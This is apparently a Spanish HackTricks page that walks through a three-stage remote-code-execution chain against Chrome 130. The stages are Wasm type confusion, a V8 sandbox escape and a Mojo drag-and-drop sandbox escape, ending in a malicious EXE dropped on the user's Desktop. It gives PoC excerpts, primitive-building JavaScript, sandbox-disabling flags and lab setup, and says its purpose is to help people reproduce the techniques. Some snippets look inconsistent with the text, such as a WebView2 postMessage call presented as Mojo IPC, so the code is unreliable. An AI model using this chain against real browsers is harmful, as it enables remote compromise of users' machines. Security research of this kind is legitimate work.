Explotación de Chrome

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Esta página ofrece una visión general de alto nivel pero práctica de un flujo de trabajo de explotación “full-chain” moderno contra Google Chrome 130 basado en la serie de investigación “101 Chrome Exploitation” (Parte-0 — Prefacio). El objetivo es proporcionar a pentesters y exploit-developers el conocimiento mínimo necesario para reproducir o adaptar las técnicas para su propia investigación.

1. Resumen de la arquitectura de Chrome

Entender la superficie de ataque requiere saber dónde se ejecuta el código y qué sandboxes se aplican.

Diseño del proceso de Chrome y sandbox ```text +-------------------------------------------------------------------------+ | Chrome Browser | | | | +----------------------------+ +-----------------------------+ | | | Renderer Process | | Browser/main Process | | | | [No direct OS access] | | [OS access] | | | | +----------------------+ | | | | | | | V8 Sandbox | | | | | | | | [JavaScript / Wasm] | | | | | | | +----------------------+ | | | | | +----------------------------+ +-----------------------------+ | | | IPC/Mojo | | | V | | | +----------------------------+ | | | | GPU Process | | | | | [Restricted OS access] | | | | +----------------------------+ | | +-------------------------------------------------------------------------+ ```

Layered defence-in-depth:

  • V8 sandbox (Isolate): los permisos de memoria están restringidos para evitar lecturas/escrituras arbitrarias desde JITed JS / Wasm.
  • Renderer ↔ Browser split ensured via Mojo/IPC message passing; el renderer tiene no acceso nativo a FS/red.
  • OS sandboxes further contain each process (Windows Integrity Levels / seccomp-bpf / macOS sandbox profiles).

A remote attacker therefore needs three successive primitives:

  1. Corrupción de memoria dentro de V8 para obtener lectura/escritura (RW) arbitraria dentro del heap de V8.
  2. Un segundo bug que permita al atacante escapar del V8 sandbox hacia la memoria completa del renderer.
  3. Una última evasión del sandbox (a menudo lógica más que corrupción de memoria) para ejecutar código fuera del sandbox de Chrome OS.

2. Etapa 1 – WebAssembly Type-Confusion (CVE-2025-0291)

Un fallo en la optimización Turboshaft de TurboFan clasifica incorrectamente los WasmGC reference types cuando el valor se produce y consume dentro de un único bucle de bloque básico.

Effect:

  • El compilador se salta la comprobación de tipo, tratando una reference (externref/anyref) como un int64.
  • Wasm manipulado permite solapar el encabezado de un objeto JS con datos controlados por el atacante → addrOf() & fakeObj() AAW / AAR primitives.

PoC mínimo (extracto):

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

Forzar optimización & spray objects desde JS:

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Outcome: arbitrary read/write within V8.

3. Etapa 2 – Escapar del V8 Sandbox (issue 379140430)

Cuando una función Wasm es tier-up-compiled, se genera un JS ↔ Wasm wrapper. Un bug de desajuste de firma hace que el wrapper escriba más allá del final de un confiable objeto Tuple2 cuando la función Wasm se re-optimiza mientras aún está en la pila.

Sobrescribir los 2 × 64-bit fields del objeto Tuple2 produce read/write on any address inside the Renderer process, effectively bypassing the V8 sandbox.

Pasos clave en el exploit:

  1. Poner la función en estado Tier-Up alternando código turbofan/baseline.
  2. Forzar tier-up mientras se mantiene una referencia en la pila (Function.prototype.apply).
  3. Usar Stage-1 AAR/AAW para encontrar y corromper el Tuple2 adyacente.

Wrapper identification:

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

Tras la corrupción disponemos de un completo renderer R/W primitive.

4. Etapa 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)

La interfaz IPC Mojo blink.mojom.DragService.startDragging() puede ser invocada desde el Renderer con parámetros parcialmente confiables. Al construir una estructura DragData que apunte a una ruta de archivo arbitraria, el renderer convence al navegador para realizar un arrastre nativo (drag-and-drop) fuera del renderer sandbox.

Abusando de esto podemos programáticamente “arrastrar” un EXE malicioso (previamente colocado en una ubicación con permisos de escritura global) al Escritorio, donde Windows ejecuta automáticamente ciertos tipos de archivo al soltarlos.

Ejemplo (simplificado):

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

No se necesita corrupción adicional de memoria – el fallo lógico nos permite la ejecución arbitraria de archivos con los privilegios del usuario.

5. Flujo completo de la cadena

  1. El usuario visita una página web maliciosa.
  2. Etapa 1: El módulo Wasm explota CVE-2025-0291 → V8 heap AAR/AAW.
  3. Etapa 2: Desajuste de wrapper corrompe Tuple2 → escapar del sandbox de V8.
  4. Etapa 3: startDragging() IPC → escapar del sandbox del OS y ejecutar payload.

Resultado: Remote Code Execution (RCE) en el host (Chrome 130, Windows/Linux/macOS).

6. Configuración del laboratorio y depuración

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Flags útiles al lanzar una development build de Chrome:

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

7. Recurso de Renderer → kernel escape

Cuando un renderer exploit necesita un kernel pivot que permanezca dentro del seccomp profile, abusar de los AF_UNIX MSG_OOB sockets que aún son accesibles dentro del sandbox proporciona una ruta determinista. Consulta el estudio de caso de explotación del kernel de Linux a continuación para la SKB UAF → kernel RCE chain:

Af Unix Msg Oob Uaf Skb Primitives

Conclusiones

  • WebAssembly JIT bugs siguen siendo un punto de entrada fiable – el sistema de tipos aún es joven.
  • Obtener un segundo memory-corruption bug dentro de V8 (p. ej. wrapper mismatch) simplifica mucho la V8-sandbox escape.
  • Las debilidades a nivel lógico en las privileged Mojo IPC interfaces suelen ser suficientes para una final sandbox escape – presta atención a bugs non-memory.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks